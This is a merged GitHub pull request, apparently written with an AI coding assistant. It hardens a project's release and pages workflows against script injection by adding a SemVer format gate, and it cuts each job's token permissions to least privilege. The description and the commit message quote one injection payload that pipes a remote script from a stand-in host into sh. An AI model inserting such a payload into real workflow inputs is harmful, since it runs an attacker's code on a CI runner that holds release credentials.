Skip to content

ci: gate the release version and scope workflow permissions per job - #4

Merged
w0rxbend merged 1 commit into
mainfrom
fix/workflow-permissions
Sep 6, 2026
Merged

w0rxbend merged 1 commit into
mainfrom
fix/workflow-permissions

Conversation

@w0rxbend

@w0rxbend w0rxbend commented Sep 6, 2026

Copy link
Copy Markdown
Member

Closes the eight SonarCloud vulnerabilities in .github/workflows/ — three BLOCKER and five MAJOR. They are the entire reason the project is rated E on security; nothing else in the codebase contributes.

The three BLOCKERs are real, and the obvious fix does not fix them

version="${{ inputs.version }}" inside a run: block is substituted into the script text before bash parses it. A dispatch input of v1.0.0"; curl evil.sh | sh; # executes on the runner. Three jobs do this, holding between them the checkout token, contents: write + id-token: write with cosign sign-blob and gh release create, and SNAPCRAFT_STORE_CREDENTIALS.

Each now reads the input through a step-level env: binding — which is what Sonar asks for, and is not sufficient. The resolved version is written to GITHUB_OUTPUT and re-spliced into run: script text at eight further points and into with: action inputs at six more, including a sed -i where sed metacharacters bite as well as shell quoting. Sonar's taint tracking does not follow steps.*.outputs.*, so it stops at the three sources it can see. Fixing only those turns the scan green and leaves fourteen sinks live.

So the load-bearing change is a format gate on the resolved version, applied in all three jobs:

^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$

Full SemVer 2.0.0, prerelease and build metadata independently optional. This de-taints every downstream sink at once.

⚠️ This hard-enforces the tag convention

GITHUB_REF_NAME flows through the same variable, and the push: tags: v* trigger still fires on any tag starting with v. Verified under bash:

accepted rejected
v0.0.1 v0.1.0 v0.1.1 v0.2.0 (all existing tags) v0.2 v2 vnightly latest
v1.2.3-rc.1 v1.2.3+build.5 v1.2.3-rc.1+build.5 every injection payload tested

Rejection happens at the resolve step, before any job side effect. If you ever cut a release from a non-semver tag, say so and I'll loosen the pattern.

Least privilege

Both workflows drop to permissions: {} with each job declaring its own. The one that matters: contents: write was on the four-runner build matrix — the job that resolves Coursier dependencies and runs native-image, i.e. the most third-party-code-execution-heavy job in the repo — holding a token that could push to main and --clobber assets on every existing release. It now has contents: read.

workflow job permissions
release build contents: read
release release contents: write, id-token: write
release snap contents: read
pages build contents: read, pages: read
pages deploy pages: write, id-token: write

A job block replaces rather than extends, so each was derived from that job's actual steps: release keeps id-token: write for keyless cosign, and pages' build keeps pages: read for actions/configure-pages. No actions: scope was added — upload-artifact/download-artifact@v4 use ACTIONS_RUNTIME_TOKEN for same-run transfers.

Also

timeout-minutes: 30 on the release job. Nothing in this workflow declared one. If id-token: write were ever dropped, cosign sign-blob --yes falls through to the interactive OIDC flow and hangs for the six-hour default — and with cancel-in-progress: false that wedges the release-<tag> concurrency group against retries for the same six hours.

The workflow-level concurrency expression is deliberately unchanged. It interpolates inputs.version but is consumed by the Actions scheduler as an opaque string with no interpreter downstream, and the env context is unavailable in a workflow-level concurrency block — rewriting it produces an invalid workflow.

What is not claimed

Removing id-token: write from build does not strengthen the Sigstore provenance. The release job verifies downloaded artifacts only against checksum files the build job itself wrote, so a compromised build dependency ships a bad binary plus a matching checksum and the release job then legitimately signs it. That weakness is unchanged by this PR.

Verification, and its limit

Both files parse (yaml.safe_load). The gate was exercised under bash against the table above. Every job's permission set was derived by walking its steps.

This cannot be rehearsed end to end. There is no dry-run: a successful dispatch runs the full four-target native-image matrix, then publishes a real public release, then snapcraft upload --release=stable. Only the reject path is safe to test live. Note also that both Snap jobs are already failing at "Build classic snap" for unrelated reasons — a red snap job after this merges is the status quo, not evidence the permissions split broke something.

Expected effect: vulnerabilities 8 → 0, security rating E → A.

🤖 Generated with Claude Code

https://claude.ai/code/session_01AaPvsFt1xYoXErXaZ4Kk8A

Closes the eight SonarCloud vulnerabilities in .github/workflows — three
BLOCKER script-injection and five workflow-level permission findings. They
are the whole of the project's E security rating.

Script injection (githubactions:S7630)

  `version="${{ inputs.version }}"` inside a run: block is substituted into
  the script text before bash parses it, so a dispatch input of
  `v1.0.0"; curl evil.sh | sh; #` executes on the runner. Three jobs do
  this, holding between them the checkout token, contents:write +
  id-token:write with cosign and `gh release create`, and the Snapcraft
  store credentials.

  Each now reads the input through a step-level env: binding. That alone
  would not be enough. The resolved version is written to GITHUB_OUTPUT and
  re-spliced into run: script text at eight further points and into action
  inputs at six more — including a `sed -i` where sed metacharacters bite as
  well as shell quoting. Sonar's taint tracking does not follow
  steps.*.outputs.*, so fixing only the three flagged lines turns the scan
  green while leaving fourteen sinks live.

  The load-bearing change is therefore a format gate on the resolved
  version, applied in all three jobs, which de-taints every sink at once:

    ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$

  Full SemVer 2.0.0, prerelease and build metadata independently optional.
  All four existing tags pass. Note this hard-enforces the convention: the
  `v*` push trigger still fires for `v0.2` or `vnightly`, which the gate now
  rejects at the resolve step, before any job side effect.

Least privilege (githubactions:S8233, S8264)

  Both workflows dropped to `permissions: {}` with each job declaring what
  it needs. The one that mattered is contents:write on the four-runner
  build matrix — the job that resolves Coursier dependencies and runs
  native-image, holding a token that could push to main and clobber assets
  on every existing release. It now has contents:read.

  A job block replaces rather than extends, so each was derived from that
  job's actual steps: release keeps id-token:write for keyless cosign, and
  pages' build keeps pages:read for actions/configure-pages.

Also adds timeout-minutes to the release job. Nothing in this workflow
declared one, so a dropped id-token:write would leave `cosign sign-blob
--yes` waiting on the interactive OIDC flow for the six-hour default, and
with cancel-in-progress: false that wedges the concurrency group against
retries for the same six hours.

The workflow-level concurrency expression is left alone: it interpolates
inputs.version but is consumed by the scheduler as an opaque string, and
the env context is unavailable there, so rewriting it produces an invalid
workflow.

Both files parse; the gate was exercised under bash against the existing
tags, valid SemVer, and injection payloads.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AaPvsFt1xYoXErXaZ4Kk8A
@coderabbitai

coderabbitai Bot commented Sep 6, 2026

Copy link
Copy Markdown
Contributor

Important

  • 🔍 Trigger review

This repository does not receive automatic reviews because it has fewer than 10 stars.

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Team

Run ID: 24ad2999-9a17-4506-983f-9a67b1159f95


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@sonarqubecloud

sonarqubecloud Bot commented Sep 6, 2026

Copy link
Copy Markdown

@w0rxbend
w0rxbend merged commit 4d73beb into main Sep 6, 2026
4 of 5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant